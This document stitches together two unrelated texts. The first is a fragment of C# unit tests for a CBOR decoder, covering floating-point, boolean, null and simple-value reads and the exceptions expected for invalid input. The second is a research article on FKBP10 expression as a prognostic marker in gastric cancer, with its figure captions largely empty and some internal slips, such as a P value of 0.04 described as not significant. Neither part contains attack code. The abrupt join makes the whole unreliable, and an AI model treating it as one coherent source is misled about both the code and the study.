[InlineData(3.4028234663852886e+38, "fa7f7fffff")]
[InlineData(float.PositiveInfinity, "fa7f800000")]
[InlineData(float.NegativeInfinity, "faff800000")]
[InlineData(float.NaN, "fa7fc00000")]
public static void ReadSingle_SingleValue_HappyPath(float expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.SinglePrecisionFloat, reader.PeekState());
float actualResult = reader.ReadSingle();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(1.1, "fb3ff199999999999a")]
[InlineData(1.0e+300, "fb7e37e43c8800759c")]
[InlineData(-4.1, "fbc010666666666666")]
[InlineData(3.1415926, "fb400921fb4d12d84a")]
[InlineData(double.PositiveInfinity, "fb7ff0000000000000")]
[InlineData(double.NegativeInfinity, "fbfff0000000000000")]
[InlineData(double.NaN, "fb7ff8000000000000")]
public static void ReadDouble_SingleValue_HappyPath(double expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.DoublePrecisionFloat, reader.PeekState());
double actualResult = reader.ReadDouble();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(100000.0, "fa47c35000")]
[InlineData(3.4028234663852886e+38, "fa7f7fffff")]
[InlineData(double.PositiveInfinity, "fa7f800000")]
[InlineData(double.NegativeInfinity, "faff800000")]
[InlineData(double.NaN, "fa7fc00000")]
public static void ReadDouble_SinglePrecisionValue_ShouldCoerceToDouble(double expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.SinglePrecisionFloat, reader.PeekState());
double actualResult = reader.ReadDouble();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(0.0, "f90000")]
[InlineData(-0.0, "f98000")]
[InlineData(1.0, "f93c00")]
[InlineData(1.5, "f93e00")]
[InlineData(65504.0, "f97bff")]
[InlineData(5.960464477539063e-8, "f90001")]
[InlineData(0.00006103515625, "f90400")]
[InlineData(-4.0, "f9c400")]
[InlineData(double.PositiveInfinity, "f97c00")]
[InlineData(double.NaN, "f97e00")]
[InlineData(double.NegativeInfinity, "f9fc00")]
public static void ReadDouble_HalfPrecisionValue_ShouldCoerceToDouble(double expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.HalfPrecisionFloat, reader.PeekState());
double actualResult = reader.ReadDouble();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(0.0, "f90000")]
[InlineData(-0.0, "f98000")]
[InlineData(1.0, "f93c00")]
[InlineData(1.5, "f93e00")]
[InlineData(65504.0, "f97bff")]
[InlineData(5.960464477539063e-8, "f90001")]
[InlineData(0.00006103515625, "f90400")]
[InlineData(-4.0, "f9c400")]
[InlineData(float.PositiveInfinity, "f97c00")]
[InlineData(float.NaN, "f97e00")]
[InlineData(float.NegativeInfinity, "f9fc00")]
public static void ReadSingle_HalfPrecisionValue_ShouldCoerceToSingle(float expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.HalfPrecisionFloat, reader.PeekState());
float actualResult = reader.ReadSingle();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Fact]
public static void ReadNull_SingleValue_HappyPath()
{
byte[] encoding = "f6".HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.Null, reader.PeekState());
reader.ReadNull();
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(false, "f4")]
[InlineData(true, "f5")]
public static void ReadBoolean_SingleValue_HappyPath(bool expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Equal(CborReaderState.Boolean, reader.PeekState());
bool actualResult = reader.ReadBoolean();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData((CborSimpleValue)0, "e0")]
[InlineData(CborSimpleValue.False, "f4")]
[InlineData(CborSimpleValue.True, "f5")]
[InlineData(CborSimpleValue.Null, "f6")]
[InlineData(CborSimpleValue.Undefined, "f7")]
[InlineData((CborSimpleValue)32, "f820")]
[InlineData((CborSimpleValue)255, "f8ff")]
public static void ReadSimpleValue_SingleValue_HappyPath(CborSimpleValue expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
CborSimpleValue actualResult = reader.ReadSimpleValue();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData((CborSimpleValue)0, "f800")]
[InlineData((CborSimpleValue)23, "f817")]
[InlineData((CborSimpleValue)24, "f818")]
[InlineData((CborSimpleValue)31, "f81f")]
public static void ReadSimpleValue_UnsupportedRanges_LaxConformance_ShouldSucceed(CborSimpleValue expectedResult, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding, CborConformanceMode.Lax);
CborSimpleValue actualResult = reader.ReadSimpleValue();
Assert.Equal(expectedResult, actualResult);
Assert.Equal(CborReaderState.Finished, reader.PeekState());
}
[Theory]
[InlineData(CborConformanceMode.Strict, "f800")]
[InlineData(CborConformanceMode.Strict, "f801")]
[InlineData(CborConformanceMode.Strict, "f818")]
[InlineData(CborConformanceMode.Strict, "f81f")]
[InlineData(CborConformanceMode.Canonical, "f801")]
[InlineData(CborConformanceMode.Ctap2Canonical, "f800")]
public static void ReadSimpleValue_UnsupportedRanges_UnsupportedConformance_ShouldThrowCborContentException(CborConformanceMode conformanceMode, string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding, conformanceMode);
Assert.Throws<CborContentException>(() => reader.ReadSimpleValue());
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("c202")] // tagged value
public static void ReadSimpleValue_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadSimpleValue());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("f97e00")] // NaN
[InlineData("f6")] // null
[InlineData("fb3ff199999999999a")] // 1.1
[InlineData("c202")] // tagged value
public static void ReadBoolean_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadBoolean());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("f4")] // false
[InlineData("f97e00")] // NaN
[InlineData("fb3ff199999999999a")] // 1.1
[InlineData("c202")] // tagged value
public static void ReadNull_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadNull());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("f6")] // null
[InlineData("f4")] // false
[InlineData("c202")] // tagged value
[InlineData("fa47c35000")] // single-precision float encoding
[InlineData("fb7ff0000000000000")] // double-precision float encoding
public static void ReadHalf_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadHalf());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("f6")] // null
[InlineData("f4")] // false
[InlineData("c202")] // tagged value
[InlineData("fb7ff0000000000000")] // double-precision float encoding
public static void ReadSingle_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadSingle());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
[Theory]
[InlineData("01")] // integer
[InlineData("40")] // empty text string
[InlineData("60")] // empty byte string
[InlineData("80")] // []
[InlineData("a0")] // {}
[InlineData("f6")] // null
[InlineData("f4")] // false
[InlineData("c202")] // tagged value
public static void ReadDouble_InvalidTypes_ShouldThrowInvalidOperationException(string hexEncoding)
{
byte[] encoding = hexEncoding.HexToByteArray();
var reader = new CborReader(encoding);
Assert.Throws<InvalidOperationException>(() => reader.ReadDouble());
Assert.Equal(encoding.Length, reader.BytesRemaining);
}
public static class AssertHelpers
{
// temporary workaround for xunit's lack of support for Half equality assertions
public static void Equal(Half expected, Half actual)
{
if (Half.IsNaN(expected))
{
Assert.True(Half.IsNaN(actual), $"Expected: {expected}\nActual: {actual}");
}
else
{
Assert.Equal(expected, actual);
}
}
}
}
}
|
Introduction
============
Gastric cancer (GC) is a common malignancy worldwide. The incidence of GC is highest in East Asian countries, including Korea, Mongolia, Japan and China, with 40--60 cases per 100,000 individuals, followed by Eastern Europe (\~35 cases per 100,000 people) ([@b1-or-0-0-7195],[@b2-or-0-0-7195]). According to a statistical report, there were \~679,000 new cases of GC and 498,000 associated mortalities in China in 2015 ([@b3-or-0-0-7195]). Current treatments for GC include surgery, chemotherapy, radiation and immunotherapy, all of which can be administered alone or in combination ([@b4-or-0-0-7195]). Adjuvant treatment has been shown to be beneficial for GC ([@b4-or-0-0-7195],[@b5-or-0-0-7195]). In Japan, early diagnosis via endoscopy and early tumor resection are used to improve the 5-year survival rate of patients with GC ([@b5-or-0-0-7195],[@b6-or-0-0-7195]). Those with GC often present symptoms only in the later stages; however, the majority of patients do not receive medical attention until symptoms present. At the time of definitive diagnosis, many patients with GC are of an advanced stage of disease, at which point treatment is less effective. Despite advancements in treatment, no significant improvement in the prognosis of patients with GC have been reported; the 5-year overall survival rate was determined to be 30--35% ([@b7-or-0-0-7195]). Thus, highly sensitive biomarkers to increase the sensitivity of early diagnostic methods for GC are of great interest for the development high-specificity drugs.
FK506 binding protein (FKBP65) is a 65-kDa protein and highly conserved; almost all FKBP family members have peptide precursor cis-trans isomerase activity ([@b8-or-0-0-7195]). FKBP prolyl isomerase 10 (FKBP10) is a gene encoding FKBP65, and is a member of a group of proteins termed the immunophilins, belonging to the FKBP-type peptidylprolyl cis/trans isomerase family ([@b9-or-0-0-7195],[@b10-or-0-0-7195]). It is located in the endoplasmic reticulum, and is a molecular chaperone that interacts with collagen ([@b11-or-0-0-7195]); FKBP10 has been reported to directly interact with collagen I ([@b11-or-0-0-7195]). As an important intracellular regulatory factor for extracellular matrix (ECM) reconstruction, FKBP10 is an important potential target for the treatment of idiopathic pulmonary fibrosis ([@b12-or-0-0-7195],[@b13-or-0-0-7195]). In addition, it is increasingly apparent that FKBP members serve a very important role in the formation of tumors and may be considered as novel biomarkers of cancer ([@b14-or-0-0-7195],[@b15-or-0-0-7195]). For example, FKBP10 is associated with ovarian cancer ([@b16-or-0-0-7195],[@b17-or-0-0-7195]), lung cancer ([@b18-or-0-0-7195]), prostate cancer ([@b19-or-0-0-7195]), leukemia ([@b20-or-0-0-7195]), renal cell carcinoma ([@b21-or-0-0-7195]) and colorectal cancer ([@b22-or-0-0-7195]).
In recent years, numerous studies have identified genes related to the prognosis of GC ([@b23-or-0-0-7195]--[@b25-or-0-0-7195]). Some of these genes can act as prognostic factors for GC, yet the prognostic potential of these genes as biomarkers in GC remains unknown. The importance of differentially expressed FKBP10 in GC and its prognostic value in patients with GC require further investigation.
In the present study, the differential expression levels of FKBP10 mRNA in GC and normal tissues were compared using the Gene Expression Omnibus (GEO) and The Cancer Genome Atlas (TCGA) databases; the removal of batch effects on same type platforms was performed in our GEO analysis. In addition, Kaplan-Meier survival and cox regression analyses were conducted to explore the potential prognostic value of FKBP10 expression in patients with GC.
Materials and methods
=====================
### Data extraction of FKBP10 expression from GEO and TCGA databases
The data were limited to microarray and RNA sequencing uploaded before August 2018. Mesh-terms and free words were used for increasing the search parameters in the GEO databases (<https://www.ncbi.nlm.nih.gov/geo/>). The search terms were: 'Cancer', 'tumor', 'carcinoma' or 'neoplasm', and 'gastric' or 'stomach'. '*Homo sapiens*' was used to limit the search range. In total, 20 microarrays containing 957 samples of GC and 536 samples of paracancer tissues with FKBP10 expression information were downloaded ([Table I](#tI-or-0-0-7195){ref-type="table"}). The normalized expression value and the median expression value were obtained from multiple probes of FKBP10. The data of FKBP10 expression from the TCGA database (<https://www.cancer.gov/about-nci/organization/ccg/research/structural-genomics/tcga>) were downloaded with University of Santa Cruz Xena (<https://xena.ucsc.edu/>), which provided a normalized count of gene-level transcription.
### Detection of FKBP10 mRNA expression levels in gastric cancer
To investigate the expression of FKBP10, Gene Expression Profiling Interactive Analysis (GEPIA) ([@b26-or-0-0-7195]) was used to retrieve expression data of GC tissues. In addition, data on FKBP10 expression in \~1,000 cell lines were provided by The Cancer Cell Line Encyclopedia (<https://portals.broadinstitute.org/ccle>). Except for the TCGA data, FKBP10 expression was obtained from a microarray series GEO dataset. After comparing FKBP10 expression in single series datasets, same-type microarray platforms were combined to expand sample capacity, in order to comprehensively analyze the expression of FKBP10. The removal of batch effects across platforms was performed using the 'sva' Bioconductor package of R (v3.5.0) ([@b26-or-0-0-7195]). The standardized mean difference (SMD) method was used to assess the continuous variable, FKBP10 expression. Data from 19 gene microarrays were combined with a random effects model when heterogeneity (I^2^)\>50%. The results were presented as forest plots. Sensitivity analyses and publication bias were used to evaluate the combined quality. Continuous variables of FKBP10 expression were converted to true positive, false positive, false negative and true negative counts. Summary receiver operating characteristic (SROC) of 19 GEO microarrays were used to comprehensively investigate the diagnostic value of FKBP10. All analyses were conducted using STATA 12.0 software (StataCorp). The associations between FKBP10 expression and certain clinicopathological parameters were analyzed using a Student\'s t-test. Tumor and paracancerous samples from the same patient were analyzed using a paired t-test, while an unpaired t-test was used to analyze unpaired samples. Genetic alterations of FKBP10 were determined by cBioPortal (<https://www.cbioportal.org/>). The DNA methylation information of FKBP10 was obtained from the MethHC database (<http://methhc.mbc.nctu.edu.tw/>) ([@b27-or-0-0-7195]).
### Prognosis analysis of FKBP10 in GC
We aimed to investigate the prognostic potential of FKBP10 in GC in the TCGA and GEO databases independently. Overall survival (OS) and disease-free survival (DFS) curves were drawn based on data from TCGA and GEO ([@b28-or-0-0-7195]) via GEPIA (<http://gepia.cancer-pku.cn/>) and Kaplan-Meier Plotter (<http://kmplot.com/analysis/>) ([@b29-or-0-0-7195]). Univariate and multivariate cox analyses were conducted with adjustments to age, sex, tumor stage, histological grade and the clinical features of GC.
### Detection of FKBP10 protein expression by immunohistochemistry
The immunohistochemistry results of FKBP10 from the Human Protein Atlas (HPA) were investigated, which contained protein expression profiles as determined by immunohistochemistry (<https://www.proteinatlas.org/>) ([@b30-or-0-0-7195]). In addition, immunohistochemistry data were verified using GC tissue and paired adjacent normal mucosa tissue samples. In total, 40 cases of GC tissue and adjacent normal tissue samples (20 male and 20 female, age range 25--79 years; average age 56.8-yars old) were collected from patients with GC at The First Affiliated Hospital of Guangxi Medical University (Nanning, China), between January 2018 and August 2018. The present study was approved by the Ethics Committee of The First Affiliated Hospital of Guangxi Medical University and all patients provided written informed consent. Antigen retrieval was conducted by boiling tissue sections in sodium citrate buffer (pH 6.0) at 100--120°C for 5 min; endogenous peroxidase activity was blocked with 3% hydrogen peroxide at room temperature for 10 min; sections were then incubated with a rabbit anti-FKBP10 polyclonal antibody (bs-13175R; 1:700; BIOSS) overnight at 4°C, followed by a conjugated secondary antibody (cat. no. D-3004-15, Shanghai Long Island Biotec, Co., Ltd.) at room temperature for 30 min; followed by 3′,3′-diaminobenzidene staining at room temperature for 5 min. The average score was calculated by randomly selecting five fields under a light microscope (magnification ×200). The immunoreaction score (IRS) was calculated according to the intensity of staining and the percentage of positive cells. Intensity was scored as follows: 0, negative; 1, weak; 2, moderate and 3, strong. The percentage of positive cells was scored as follows: \<5%, 0; 6--25%, 1; 26--50%, 2; 51--75%, 3; \>76%, 4.
### FKBP10 biological function analysis
To further investigate the biological function of FKBP10 in GC, we analyzed the possible interactions of FKBP10 using a protein-protein interaction (PPI) network. An interaction score of 0.4 was set as a cut-off value. In addition to PPI analysis, we identified the genes associated with FKBP10 expression that may also be involved in the regulation of GC development. FKBP10 co-expression networks were assessed using the GEPIA and Coexpedia online tools (<http://www.coexpedia.org/>) ([@b31-or-0-0-7195]). Pearson correlation analysis of FKBP10 was conducted using GEPIA. Then, Gene Ontology (GO) and Kyoto Encyclopedia of Genes and Genomes (KEGG) pathway enrichment analyses were performed using the DAVID 6.8 (<https://david.ncifcrf.gov/home.jsp>).
Results
=======
### FKBP10 mRNA expression levels based on TCGA and GEO databases
A flow chart of our study design was presented in [Fig. 1](#f1-or-0-0-7195){ref-type="fig"}. FKBP10 is relatively expressed at high levels in a variety of tumors, except gynecological malignancies, including cervical squamous cell carcinoma, uterine corpus endometrial carcinoma and ovarian cancer ([Fig. 2A](#f2-or-0-0-7195){ref-type="fig"}). Additionally, FKBP10 was significantly overexpressed in GC tissues {n=408, log~2~\[transcripts per million (TPM) + 1\]=5.06} compared with in adjacent gastric tissues in the TCGA database \[n=36, log2(TPM + 1)=3.53; P\<0.001\] ([Fig. 2B](#f2-or-0-0-7195){ref-type="fig"}). Expression levels in certain GC cell lines were consistent with those in GC tissues, each exhibiting medium expression levels ([Fig. 2C](#f2-or-0-0-7195){ref-type="fig"}). Among 19 GEO microarray analyses, FKBP10 expression levels in GC tissues were significantly increased than in adjacent tissues (GSE29272, GSE54129, GSE26899, GSE27342, GSE13861, GSE63089, GSE13911, GSE65801, GSE13195, GSE33335, GSE89148, GSE19826, GSE79973, GSE103236, GSE51725, GSE56807 and GSE2701) ([Fig. 3](#f3-or-0-0-7195){ref-type="fig"}). After batch effects removal of platform GPL96, GPL570 and GPL5175, FKBP10 also exhibited significantly increased expression in the combined GC samples compared with in normal samples ([Fig. 3](#f3-or-0-0-7195){ref-type="fig"}). Furthermore, a comprehensive meta-analysis indicated that FKBP10 expression in GC tissues was upregulated than in adjacent tissues \[SMD=1.31, 95% confidence interval (CI): 1.02--1.6; P\<0.001\] ([Fig. 4A](#f4-or-0-0-7195){ref-type="fig"}). Additionally, forest plots of removal batch effects showed a consistent expression trend in GC tissues (SMD=1.09, 95% CI: 0.81--1.37, P\<0.001) ([Fig. 4B](#f4-or-0-0-7195){ref-type="fig"}). No significant publication bias was determined in either funnel plot (P=0.125 and P=0.124) (data not shown). The association between the differential expression of FKBP10 and the clinicopathological features of patients with GC was investigated. As for cancer status, FKBP10 expression in patients with GC was significantly higher than in tumor-free patients, but there were no significant differences between FKBP10 expression and stage, grade, T stage, N stage and M stage ([Table II](#tII-or-0-0-7195){ref-type="table"}). FKBP10 expression was significantly associated with the clinicopathological factor of person neoplasm cancer status. This indicated that tumor status could be closely related to FKBP10 expression; however, FKBP10 was not significantly linked to other clinical parameters. This may be due an insufficient sample size. Histological types were classified as gastrointestinal adenocarcinoma (tubular, papillary, not otherwise specified and mucinous type) and stomach adenocarcinoma (not otherwise specified, diffuse and signet ring type). Unfortunately, FKBP10 expression did not significantly differ between gastric and gastrointestinal adenocarcinoma. In addition, there was no significant relationship between FKBP10 expression and differentiated adenocarcinoma. The receiver operating characteristic (ROC) curve for FKBP10 based on GEO was presented in [Fig. 5](#f5-or-0-0-7195){ref-type="fig"}. The area under the curve was 0.774--1 (P=0.001). The ROC curve of FKBP10 was 0.773 in TCGA (P\<0.001; [Fig. 5](#f5-or-0-0-7195){ref-type="fig"}). The combined microarray data had a sensitivity of 0.77 (0.64--0.86), a specificity of 0.89 (0.83--0.93), and an area under the combined SROC curve of 0.91 (0.89--0.94) ([Fig. 6](#f6-or-0-0-7195){ref-type="fig"}). No significant publication bias was observed (P=0.04). The frequency of FKBP10 alterations in TCGA was 9% (35/393), with 24 amplifications, 6 missense mutations and 5 truncating mutations, with no alterations in the remaining sections ([Fig. 7A](#f7-or-0-0-7195){ref-type="fig"}). Subsequently, DNA methylation analysis revealed the methylation level across FKBP10 gene regions \[promoter, enhancer, TSS1500, TSS200, 5′untranslated region (UTR), first exon, gene body and 3′UTR), as well as CpG islands/CPG island regions, shelves and shores ([Fig. 7B](#f7-or-0-0-7195){ref-type="fig"}).
### Prognostic value of FKBP10
FKBP10 has potential for predicting the prognosis of patients with GC. Patients with high FKBP10 expression had a significantly shorter OS time relative to patients with low expression FKBP10 (hazard ratio (HR)=1.5; P=0.014) ([Fig. 8A](#f8-or-0-0-7195){ref-type="fig"}). In addition, patients with high expression of FKBP10 had shorter durations of DFS than those with low expression (HR=1.6, P=0.021; [Fig. 8B](#f8-or-0-0-7195){ref-type="fig"}). We also verified in the GEO database that patients with high expression of FKBP10 had significantly shorter OS and DFS times than patients with low expression (HR=1.36, P\<0.001; HR=1.27, P=0.017) ([Fig. 8C and D](#f8-or-0-0-7195){ref-type="fig"}). Using univariate cox analysis, we found that FKBP10 expression levels, age, tumor, node and metastasis (TNM) stage, grade, T stage and N stage were closely associated with prognosis. Subsequently, multivariate analysis indicated that FKBP10 expression, age and TNM staging could be independent prognostic factors for patients with GC ([Table III](#tIII-or-0-0-7195){ref-type="table"}).
### FKBP10 protein expression in GC
We downloaded FKBP10 protein expression data pertaining to GC from the HPA. We reported that 4/10 GC tissue samples exhibited positive staining with HPA057021 antibody ([Fig. 9A](#f9-or-0-0-7195){ref-type="fig"}). Compared with cancer tissues, upregulated FKBP10 protein expression was not detected in normal tissues ([Fig. 9B](#f9-or-0-0-7195){ref-type="fig"}). In addition, we validated 40 pairs of GC tissues and corresponding adjacent tissues by immunohistochemistry and calculated the IRS scores. The expression of FKBP10 in GC tissues (IRS=5.6) was significantly increased than in adjacent tissues (IRS=0.002, P\<0.001; [Fig. 9C and D](#f9-or-0-0-7195){ref-type="fig"}).
### Biological function analysis
To explore the biological function of FKBP10, we identified and analyzed the proteins that interact with FKBP10 via PPI analysis. We found that dystonin, leucine- and proline-enriched proteoglycan 1 (also known as P3H1), keratin 14 and transmembrane protein 38B could interact with FKBP10 (genes combined score \>0.7) ([Fig. 10](#f10-or-0-0-7195){ref-type="fig"}). We also searched for genes closely related to FKBP10 expression; a FKBP10 co-expression network of TCGA and GEO data was created and analyzed by GEPIA and Coexpedia, respectively ([Fig. 11](#f11-or-0-0-7195){ref-type="fig"}). Additionally, prolyl 3-hydroxylase family member 4 (P3H4, also known as LEPREL4) was identified as the most closely related gene in from TCGA and GEO network analyses (R=0.89, P\<0.001; [Fig. 12](#f12-or-0-0-7195){ref-type="fig"}). We also ran GO and KEGG pathway analyses of co-expressed genes. The results of KEGG enrichment showed that the most significantly enriched pathways were regulating the 'pluripotency of stem cells', 'cell adhesion molecules', 'vasopressin-regulated water reabsorption', 'ras signaling', 'lysine degradation', 'insulin signaling', 'glutathione metabolism', 'glucagon signaling' and 'estrogen signaling pathway' ([Fig. 13](#f13-or-0-0-7195){ref-type="fig"}).
Discussion
==========
To the best of our knowledge, the present study is the first to comprehensively investigate the characterization of FKBP10 in GC. We initially found that FKBP10 is highly expressed in GC using the GEO and TCGA databases. Subsequently, we verified that the protein expression levels of FKBP10 were consistent with the data of GEO and TCGA by immunohistochemistry. In addition, the expression of FKBP10 was determined to be closely associated with clinical prognosis. It was found in the TCGA and GEO datasets that patients with GC and high expression of FKBP10 had lower DFS and OS times than those with low expression. In addition, multivariate COX analysis demonstrated that FKBP10 was an independent prognostic factor for GC. Collectively, the results of the present study suggests that FKBP10 may be a key target gene involved in the development of GC.
As an endoplasmic reticulum localization protein, FKBP65 binds to tropoelastin throughout the secretory process ([@b32-or-0-0-7195]). Investigations into FKBP10 have primarily focused on pulmonary fibrosis and osteochondrosis; FKBP10 mutations has been linked to the onset of many diseases ([@b33-or-0-0-7195],[@b34-or-0-0-7195]). As a connective tissue disease, Bruck syndrome is mainly characterized by the loss of endopeptide lysine hydroxylation at the molecular level, leading to the reduction of collagen pyrimidine cross-linking ([@b35-or-0-0-7195]). The literature indicates that FKBP65 crosslinks with pyridine by mediating the dimerization of LH2 ([@b35-or-0-0-7195]--[@b37-or-0-0-7195]). FKBP10 expression was determined to be upregulated in idiopathic pulmonary fibrosis and bleomycin-induced lung fibrosis ([@b12-or-0-0-7195]). Importantly, the loss of FKBP10 expression significantly suppressed collagen secretion by primary human lung fibroblasts ([@b12-or-0-0-7195]). Downregulated expression of FKBP10 leads to decreased collagen type I a 1chain mRNA levels, resulting in liver fibrosis and collagen accumulation ([@b38-or-0-0-7195]).
In recent years, the relationship between FKBP10 and cancer has been investigated. The main function of FKBP10 is to control folding, trafficking and secretion of protein during the production of extracellular matrix proteins ([@b32-or-0-0-7195]). FKBP10 is highly expressed in melanoma and colorectal cancer ([@b22-or-0-0-7195],[@b39-or-0-0-7195]). Downregulated FKBP10 can suppress tumor growth in KRAS-driven lung tumors ([@b18-or-0-0-7195]). Decreasing the expression of FKBP10 can inhibit the proliferation and migration of renal cancer cells, affecting the cell cycle ([@b21-or-0-0-7195]). The transcription factor ETS variant 1 targets FKBP10 to regulate the invasion and migration of prostate cancer cells ([@b19-or-0-0-7195],[@b40-or-0-0-7195]). However, in ovarian cancer ([@b16-or-0-0-7195],[@b17-or-0-0-7195]), the expression profile of FKBP10 opposed that to other tumors; the mechanism of action by which FKBP10 may be involved differs, yet further investigation is required. In addition, the expression and function of FKBP10 has not yet been reported in GC.
According to GO analysis, FKBP10 significantly correlated with protein and collagen production. KEGG pathway enrichment analysis showed that FKBP10 may be related to cell migration, particularly via cell adhesion molecules and ECM-receptor interaction pathways. These results are similar to those of Romano *et al* ([@b32-or-0-0-7195]). FKBP10 protein localizes to the endoplasmic reticulum (ER) and acts as a molecular chaperone ([@b18-or-0-0-7195]). We reported that P3H4 was the most commonly expressed gene with FKBP10. The data indicated that P3H4 acts as part of an ER complex with prolyl 3-hydroxylase 3, which affects collagen lysine hydroxylation ([@b41-or-0-0-7195]). This suggests that FKBP10 may interact with proline 3-hydroxylase to affect collagen synthesis. Although our study found that the expression of FKBP10 could be related to the prognosis of patients with GC, how FKBP10 regulates the progression of GC and how this can be applied for the targeted treatment of GC requires further investigation.
Of note, there were limitations to the present study. First, survival analysis was conducted using GEPIA and Kaplan Meier Plotter tools. The survival time of DFS should be shorter than OS. However, the result of our analysis showed the reverse. Among the TCGA and GEO data, some patients are still being followed up, so the data are incomplete and still required further sample verification. We aim to verify the relationship between FKBP10 and patient prognosis using our own samples in the future. At the protein level, we only verified this relationship using immunohistochemistry; however, further validation using PCR and western blotting will be conducted in the future. In addition, the biological role of FKBP10 in gastric cancer cells should be investigated. Regarding the biological mechanism of FKBP10 in cancer, we have only proposed some options, yet the oncogenic function of FKBP10 should be further confirmed by *in vitro* and *in vivo* experiments.
In summary, the present study reported that FKBP10 is significantly elevated in GC; thus; FKBP10 could be considered as a potential novel therapeutic target for the treatment of this disease.
Not applicable.
Funding
=======
The present study was supported by the Key Research and Development Program of Science and Technology Department of Guangxi (grant no. 2017AA45153), the Scientific Research and Technology-development Program of Guangxi (grant no. 1598011-4) and Innovation Project of Guangxi Graduate Education (grant no. YCBZ2019043).
Availability of data and materials
==================================
The datasets used during the present study are available from the corresponding author upon reasonable request.
Authors\' contributions
=======================
JQC and GC designed and directed the project. LL and KZ processed and analyzed data; LL wrote and revised the manuscript. XGQ and JHZ performed the immunohistochemistry experiment. All authors read and approved the manuscript and agree to be accountable for all aspects of the research in ensuring that the accuracy or integrity of any part of the work are appropriately investigated and resolved.
Ethics approval and consent to participate
==========================================
The present study was approved by the Ethics Committee of The First Affiliated Hospital of Guangxi Medical University and all patients provided written informed consent.
Patient consent for publication
===============================
Not applicable.
Competing interests
===================
The authors declare that they have no competing interests.
{#f1-or-0-0-7195}
![FKBP10 mRNA expression levels. (A) Histogram of FKBP10 expression in various types of cancer. (B) FKBP10 expression in gastric cancer tissues \[log~2~(TPM + 1)=5.06\] was significantly higher than in normal tissues \[log~2~(TPM + 1)=3.53\], (\*P\<0.001). (C) Histogram of FKBP10 expression levels in gastric cancer cells, which were the median between those of several cancer cell lines. The histogram was downloaded from The Cancer Cell Line Encyclopedia. Different colors represented the expression level of FKBP10 in different cell types. FKBP10, FK506 binding protein 10; SATD, stomach adenocarcinoma; TPM, transcripts per million.](or-42-02-0615-g01){#f2-or-0-0-7195}
{#f3-or-0-0-7195}
{#f4-or-0-0-7195}
{#f5-or-0-0-7195}
{#f6-or-0-0-7195}
{#f7-or-0-0-7195}
{#f8-or-0-0-7195}
{#f9-or-0-0-7195}
{#f10-or-0-0-7195}
{#f11-or-0-0-7195}
